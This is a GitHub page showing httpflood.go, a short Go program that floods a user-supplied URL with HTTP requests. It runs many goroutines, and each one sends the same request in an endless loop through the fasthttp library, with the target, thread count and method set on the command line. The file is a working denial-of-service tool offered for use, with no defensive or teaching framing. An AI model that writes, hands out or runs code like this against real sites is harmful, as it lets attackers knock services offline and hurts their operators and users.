-
Notifications
You must be signed in to change notification settings - Fork 0
/
httpflood.go
59 lines (46 loc) · 1.33 KB
/
httpflood.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package main
import (
"flag"
"fmt"
"log"
"sync"
"github.com/valyala/fasthttp"
)
var target struct {
url string
threads int
method string
}
func httpFlood() {
client := &fasthttp.Client{}
req := fasthttp.AcquireRequest()
defer fasthttp.ReleaseRequest(req)
req.SetRequestURI(target.url)
req.Header.SetMethod(target.method)
for {
if err := client.Do(req, nil); err != nil {
fmt.Println("Error:", err)
return
}
}
}
func main() {
urlPtr := flag.String("url", "", "URL to flood with requests")
threadsPtr := flag.Int("threads", 8, "Number of threads")
methodPtr := flag.String("method", "GET", "HTTP request method")
flag.Parse()
target.url = *urlPtr
target.threads = *threadsPtr
target.method = *methodPtr
if target.url == "" {
log.Println("Please provide a URL to flood using the -url flag.")
return
}
log.Printf("Flooding %s with %d threads...\n", target.url, target.threads)
var wg sync.WaitGroup
for i := 0; i < target.threads; i++ {
wg.Add(1)
go httpFlood()
}
wg.Wait()
}